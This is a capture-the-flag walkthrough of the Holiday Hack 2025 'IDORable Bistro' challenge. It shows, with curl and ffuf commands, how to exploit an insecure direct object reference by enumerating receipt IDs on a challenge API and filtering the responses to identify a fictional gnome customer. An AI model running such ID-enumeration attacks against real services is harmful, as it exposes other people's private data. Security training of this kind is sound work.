Holiday Hack 2025: IDORable Bistro
Introduction
IDORable Bistro
Difficulty:❅❅❅❅❅Josh Wright is hanging out in the Sasabune bistro:
Josh Wright
I’m a teetotling hacker.
I sleep about 4 hours a night.
Photography is my hobby, but the anachronistic sort: before 1900.
Teaching people how to hack and protect systems is my passion.
I need your help with something urgent.
A gnome came through Sasabune today, poorly disguising itself as human - apparently asking for frozen sushi, which is almost as terrible as that fusion disaster I had to endure that one time.
Based on my previous work finding IDOR bugs in restaurant payment systems, I suspect we can exploit a similar vulnerability here.
I was…at a talk recently…and learned some interesting things about some of these payment systems. Let’s use that receipt to dig deeper and unmask this gnome’s true identity.
Did you see that receipt outside the door?
Chat with Josh Wright
Congratulations! You spoke with Josh Wright!
Outside the restaurant, there’s a receipt on the ground:
Walking over it will pick it up and add it to my items in the badge:

Crumbled Sasabune Receipt
A crumbled piece of paper that appears to be a receipt for Sasabune. Interesting…this receipt has one of those QR code thingies on it. I wonder…
There’s a full image:
Josh Wright
Oh, you found that receipt? Perfect!
Solution
Read QRCode
A QRCode just holds text in an encoding designed to be easy to scan with cameras. I’ll paste this image into qrscanner.net and see it comes back with the following URL:
https://its-idorable.holidayhackchallenge.com/receipt/i9j0k1l2
Payments Website
Site
The site that loads is the order and payment status for an order on December 19 2025:
The customer is Bobby Mitchell. It was receipt #103, table 3, and there’s no tax or tip included. It says the customer tried to pay with a trading card.
Requests
When I load this URL, the Network tab in Firefox dev tools shows all the requests made by the browser:
The first request is the pasted URL. Then there’s a bunch of CSS/style related stuff and a favicon (that 404s). Then there’s an interesting request. The full URL path and args are /api/receipt?id=103. The main page loads the shell, and then uses this API request to fill in the details. The response is JSON (I’ll add some whitespace for readability):
{
"customer": "Bobby Mitchell",
"date": "2025-12-19",
"id": 103,
"items": [
{
"name": "California Roll",
"price": 12.0
},
{
"name": "Ramune Soda",
"price": 4.5
},
{
"name": "Pocky Sticks",
"price": 3.0
}
],
"note": "Tried to pay for his meal with a rare trading card featuring an original creature called Glimmerfin. He was very insistent it would be valuable someday.",
"paid": true,
"table": 3,
"total": 19.5
}
I can make this same request with curl (and use jq to print it pretty):
oxdf@hacky$ curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=104 -s | jq .
{
"customer": "SANS Investigator Alumni",
"date": "2025-12-21",
"id": 104,
"items": [
{
"name": "Forensic Platter (for 'data' recovery)",
"price": 45.0
},
{
"name": "Red Team Roll (extra spicy)",
"price": 18.0
},
{
"name": "Blue Team Bento",
"price": 22.0
},
{
"name": "Green Tea",
"price": 4.0
}
],
"note": "Attempted to forensically analyze the soy sauce for 'trace evidence of gluten'. We assured them it's gluten-free.",
"paid": true,
"table": 4,
"total": 89.0
}
IDOR
POC
If I can simply change the ID in either of these URLs and get access to other data not intended for me, that’s an insecure direct object reference (IDOR) vulnerability. I’ll start with the API request, as the first one looks like it has a lot more randomness to the ID. The ID on the receipt is 103, so I’ll try 102:
oxdf@hacky$ curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=102 -s | jq .
{
"customer": "Mrs. Sarah Henderson",
"date": "2025-12-18",
"id": 102,
"items": [
{
"name": "Dragon Roll",
"price": 18.5
}
],
"note": "Insists her cat can speak fluent Japanese, but only after three servings of premium toro. The cat remained silent, but looked exceptionally pleased.",
"paid": true,
"table": 2,
"total": 18.5
}
It works! If I try id=100, it returns an error with “Receipt not found”:
oxdf@hacky$ curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=100 -s | jq .
{
"error": "Receipt not found"
}
If I use a HEAD request (-I in curl), I can see that the valid receipt shows a 200, where the not found receipt shows a 404:
oxdf@hacky$ curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=103 -I
HTTP/2 200
content-type: application/json
x-cloud-trace-context: 0129457f44940512102c362e6dd46c1b;o=1
content-length: 379
date: Sun, 09 Nov 2025 17:14:54 GMT
server: Google Frontend
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
oxdf@hacky$ curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=100 -I
HTTP/2 404
content-type: application/json
x-cloud-trace-context: 9ebbee5511018d64e8fc400a21ec279d
content-length: 30
date: Sun, 09 Nov 2025 17:14:56 GMT
server: Google Frontend
via: 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
This will be useful for filtering.
Fuzz
I’ll use ffuf to try all receipt ids between 1 and 999. In ffuf, I have to pass in a file with the words to try. I’ll use process substitution to run a command (seq -w0 1 999) in such a way that bash creates a temp file, puts that data into it, and then uses that file as input to the process. That will look like <( command ).
oxdf@hacky$ ffuf -u https://its-idorable.holidayhackchallenge.com/api/receipt?id=FUZZ -w <( seq -w 1 999)
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://its-idorable.holidayhackchallenge.com/api/receipt?id=FUZZ
:: Wordlist : FUZZ: /dev/fd/63
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
102 [Status: 200, Size: 304, Words: 26, Lines: 2, Duration: 28ms]
103 [Status: 200, Size: 379, Words: 30, Lines: 2, Duration: 30ms]
109 [Status: 200, Size: 360, Words: 25, Lines: 2, Duration: 27ms]
101 [Status: 200, Size: 320, Words: 25, Lines: 2, Duration: 32ms]
106 [Status: 200, Size: 342, Words: 31, Lines: 2, Duration: 31ms]
108 [Status: 200, Size: 373, Words: 26, Lines: 2, Duration: 28ms]
105 [Status: 200, Size: 313, Words: 26, Lines: 2, Duration: 33ms]
107 [Status: 200, Size: 440, Words: 35, Lines: 2, Duration: 31ms]
104 [Status: 200, Size: 425, Words: 30, Lines: 2, Duration: 35ms]
114 [Status: 200, Size: 554, Words: 70, Lines: 2, Duration: 29ms]
111 [Status: 200, Size: 235, Words: 17, Lines: 2, Duration: 31ms]
112 [Status: 200, Size: 318, Words: 24, Lines: 2, Duration: 30ms]
115 [Status: 200, Size: 230, Words: 19, Lines: 2, Duration: 28ms]
116 [Status: 200, Size: 340, Words: 30, Lines: 2, Duration: 29ms]
110 [Status: 200, Size: 450, Words: 43, Lines: 2, Duration: 33ms]
113 [Status: 200, Size: 334, Words: 26, Lines: 2, Duration: 32ms]
118 [Status: 200, Size: 298, Words: 20, Lines: 2, Duration: 29ms]
117 [Status: 200, Size: 374, Words: 28, Lines: 2, Duration: 29ms]
120 [Status: 200, Size: 268, Words: 22, Lines: 2, Duration: 27ms]
121 [Status: 200, Size: 280, Words: 19, Lines: 2, Duration: 28ms]
119 [Status: 200, Size: 383, Words: 29, Lines: 2, Duration: 32ms]
122 [Status: 200, Size: 362, Words: 28, Lines: 2, Duration: 30ms]
123 [Status: 200, Size: 294, Words: 21, Lines: 2, Duration: 30ms]
124 [Status: 200, Size: 359, Words: 23, Lines: 2, Duration: 31ms]
126 [Status: 200, Size: 291, Words: 22, Lines: 2, Duration: 27ms]
127 [Status: 200, Size: 297, Words: 26, Lines: 2, Duration: 28ms]
128 [Status: 200, Size: 341, Words: 23, Lines: 2, Duration: 30ms]
130 [Status: 200, Size: 258, Words: 24, Lines: 2, Duration: 28ms]
125 [Status: 200, Size: 330, Words: 30, Lines: 2, Duration: 35ms]
134 [Status: 200, Size: 311, Words: 22, Lines: 2, Duration: 27ms]
129 [Status: 200, Size: 293, Words: 24, Lines: 2, Duration: 30ms]
132 [Status: 200, Size: 324, Words: 23, Lines: 2, Duration: 28ms]
131 [Status: 200, Size: 355, Words: 28, Lines: 2, Duration: 30ms]
139 [Status: 200, Size: 438, Words: 50, Lines: 2, Duration: 27ms]
135 [Status: 200, Size: 287, Words: 21, Lines: 2, Duration: 30ms]
136 [Status: 200, Size: 268, Words: 25, Lines: 2, Duration: 30ms]
140 [Status: 200, Size: 321, Words: 26, Lines: 2, Duration: 30ms]
142 [Status: 200, Size: 299, Words: 23, Lines: 2, Duration: 28ms]
141 [Status: 200, Size: 359, Words: 24, Lines: 2, Duration: 29ms]
138 [Status: 200, Size: 348, Words: 22, Lines: 2, Duration: 31ms]
145 [Status: 200, Size: 321, Words: 22, Lines: 2, Duration: 29ms]
137 [Status: 200, Size: 367, Words: 30, Lines: 2, Duration: 34ms]
146 [Status: 200, Size: 226, Words: 16, Lines: 2, Duration: 30ms]
147 [Status: 200, Size: 354, Words: 29, Lines: 2, Duration: 29ms]
148 [Status: 200, Size: 280, Words: 17, Lines: 2, Duration: 29ms]
143 [Status: 200, Size: 271, Words: 19, Lines: 2, Duration: 33ms]
144 [Status: 200, Size: 371, Words: 31, Lines: 2, Duration: 34ms]
149 [Status: 200, Size: 308, Words: 26, Lines: 2, Duration: 33ms]
152 [Status: 200, Size: 288, Words: 17, Lines: 2, Duration: 33ms]
150 [Status: 200, Size: 379, Words: 34, Lines: 2, Duration: 34ms]
151 [Status: 200, Size: 301, Words: 26, Lines: 2, Duration: 34ms]
133 [Status: 200, Size: 246, Words: 22, Lines: 2, Duration: 45ms]
:: Progress: [999/999] :: Job [1/1] :: 1197 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
That’s a lot of receipts! The IDs range from 101-152.
Filter
The challenge said I’m looking for a gnome who orders a frozen roll. I’ll use the -mr <regex> flag to match requests where the response body matches the given regex.
oxdf@hacky$ ffuf -u https://its-idorable.holidayhackchallenge.com/api/receipt?id=FUZZ -w <( seq -w 1 999) -mr '(?i)(frozen|gnome)'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://its-idorable.holidayhackchallenge.com/api/receipt?id=FUZZ
:: Wordlist : FUZZ: /dev/fd/63
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: (?i)(frozen|gnome)
________________________________________________
139 [Status: 200, Size: 438, Words: 50, Lines: 2, Duration: 30ms]
:: Progress: [999/999] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
I’m using the regex (?i)(frozen|gnome). The (?i) tells it to match case-insensitively. The | is or in regex, so it will match on either. And there’s one match.
I’ll fetch it:
oxdf@hacky$ curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=139 -s | jq .
{
"customer": "Bartholomew Quibblefrost",
"date": "2025-12-20",
"id": 139,
"items": [
{
"name": "Frozen Roll (waitress improvised: sorbet, a hint of dry ice)",
"price": 19.0
}
],
"note": "Insisted on increasingly bizarre rolls and demanded one be served frozen. The waitress invented a 'Frozen Roll' on the spot with sorbet and a puff of theatrical smoke. He nodded solemnly and asked if we could make these in bulk.",
"paid": true,
"table": 14,
"total": 19.0
}
The flag is “Bartholomew Quibblefrost”.
Outro
IDORable Bistro
Congratulations! You have completed the IDORable Bistro challenge!
Josh is proud:
Josh Wright
Excellent work exploiting that IDOR vulnerability - textbook execution.
Now we know exactly which gnome tried to pass itself off as a sushi connoisseur. Frozen rolls… honestly, what’s next?
Extras
The notes in the various receipts were pretty funny. Here’s a collection of them:
oxdf@hacky$ seq -w 100 152 | while read i; do resp=$(curl https://its-idorable.holidayhackchallenge.com/api/receipt?id=${i} -s); echo $resp | grep -q "Receipt not found" || (echo -n "[$i] "; echo $resp | jq -r .note); done
[101] Claims his pet rock is a certified sushi-grade emotional support animal. Demanded a tiny chair and a water bowl for it.
[102] Insists her cat can speak fluent Japanese, but only after three servings of premium toro. The cat remained silent, but looked exceptionally pleased.
[103] Tried to pay for his meal with a rare trading card featuring an original creature called 'Glimmerfin'. He was very insistent it would be valuable someday.
[104] Attempted to forensically analyze the soy sauce for 'trace evidence of gluten'. We assured them it's gluten-free.
[105] Asked for a table with a clear view of all exits. Said she was 'investigating a case of serial sauce theft'.
[106] Spent an hour trying to calculate the optimal angle to dip his sushi for maximum flavor distribution. His napkin was covered in equations.
[107] Unmistakable in his classic fedora. Kept asking 'Where's Johnny?' and demanded Johnny be seated next to him. Attempted to socially-engineer the soy sauce into giving up the Wi-Fi password.
[108] Successfully rick-rolled the restaurant's smart speakers using a Flipper Zero. We were not amused, but the other diners were.
[109] Provided a detailed Gantt chart for her dining experience, complete with milestones for appetizer, main course, and dessert.
[110] Joined virtually from the UK. Spent the call headbanging through a full power-chord solo, kept asking 'What did you say?' between growls that were definitely not English. Chef now offers complimentary earplugs to table 10.
[111] Asked for extra mayonnaise for his sushi. We are still processing this request.
[112] Complained that the menu wasn't written in Fortran. Said our modern POS system lacks 'the elegance of a punch card'.
[113] Left a note on the receipt that said 'The flag is... delicious'. We think it was a compliment.
[114] Paul LOVES to eat — so much that when we handed him the menu he tried to order the Wi-Fi password 'à la carte', tasted the paper to check freshness, and politely asked if he could adopt a tempura as a roommate. He applauded the sushi, proposed to a nigiri, and left with a napkin cape. Staff now keep a spare chair labeled 'Paul's Next Course.'
[115] Asked if we could 'put out' the spicy tuna. We gave him a glass of milk.
[116] Built a fully functional radio transmitter out of a pair of chopsticks, a napkin, and a packet of soy sauce. We are both impressed and concerned.
[117] Asked for the bill to be presented as a series of progressively harder challenges. He tipped well after solving the final riddle.
[118] Daughter asked if the chef could make the sushi twinkle. He added edible glitter. She was delighted.
[119] Left an upbeat 'bug report' praising the ramen's perfectly balanced warmth, included step-by-step tasting notes, a smiley face, and a ramen haiku.
[120] Ate his sushi with a fork and knife. When asked, he said 'Chopsticks are not optimized for my throughput'.
[121] Asked for his food to be delivered 'on final approach'. The waiter made airplane noises.
[122] Told the waiter a joke: 'Why did the sushi blush? Because it saw the ginger dressing!' The waiter is still recovering.
[123] Joined virtually from LA. His agent tried to negotiate a lower price for the virtual fish.
[124] Organized an impromptu potluck at her table with dishes from three other tables. It was surprisingly delicious.
[125] Spent ten minutes explaining to his rubber duck why the wasabi was spicy. The duck was a good listener.
[126] Tried to grade our menu. Gave the appetizers a 'B+' but said the main courses 'Exceeded Expectations'.
[127] Complained about a slight wobble in his table. Fixed it himself with a folded napkin and declared it 'structurally sound'.
[128] Diagnosed a piece of tuna as 'suffering from a minor identity crisis' but 'otherwise healthy'. Ate it anyway.
[129] Kept referring to the sushi chef as 'the new guy'. Our chef has been here for 15 years.
[130] Fell asleep at the table for 15 minutes. Woke up, said 'Best nap ever', and finished her meal.
[131] Asked for a 'tune-up' on his teriyaki. The chef added extra sauce and said 'She's purring now'.
[132] Was using a textbook as a plate until we politely intervened. Claimed she was 'absorbing knowledge through osmosis'.
[133] Tried to identify the species of the microgreens on his salad. He was correct on 4 out of 5.
[134] Asked if the fish had a happy life. We assured her it was 'very fulfilled'.
[135] Kept saying 'This is good, but it's not pizza.' We are aware, Tony. We are aware.
[136] Pinched the waiter's cheek and told him he was 'too skinny'. Left a $20 tip and a bag of hard candies.
[137] Asked for the spiciest thing on the menu, then immediately regretted it. Drank three glasses of water and started sweating profusely.
[138] Shushed a neighboring table for 'excessive crunching'. The crunching was from their tempura.
[139] Insisted on increasingly bizarre rolls and demanded one be served frozen. The waitress invented a 'Frozen Roll' on the spot with sorbet and a puff of theatrical smoke. He nodded solemnly and asked if we could make these in bulk.
[140] Brought her chihuahua, which was wearing a tiny kimono. The dog got more attention than any human customer.
[141] Calculated the statistical probability of him enjoying his meal. The result was 97.3%. He seemed pleased with the data.
[142] Asked if she could write off the meal as a 'client entertainment expense'. Her client was her husband.
[143] Commented that our water pressure was 'excellent, just excellent'. Best compliment we've received all week.
[144] Described her sushi as having 'good bones' and 'great flow'. She then tried to sell it to the table next to her.
[145] Warned us that our decorative lanterns were a 'potential fire hazard'. They are LEDs. He seemed disappointed.
[146] Asked if we accept stock options as payment. We do not.
[147] Gave the chef a pep talk before the meal. The chef seemed inspired and added extra crab to his roll.
[148] Arranged her ginger and wasabi into a beautiful, yet inedible, floral display.
[149] Asked if he was living in a simulation. The waiter said 'I'm not supposed to tell you'. He seemed to understand.
[150] Tried to recruit the chef for the PTA bake sale. He politely declined, citing 'prior commitments to raw fish'.
[151] Christopher doesn't like sushi but loves fried rice. He kept talking about improbable ways he could play baseball while jumping off the high dive.
[152] Karolee loves cheer and kept talking enthusiastically about the cool stunts she was doing.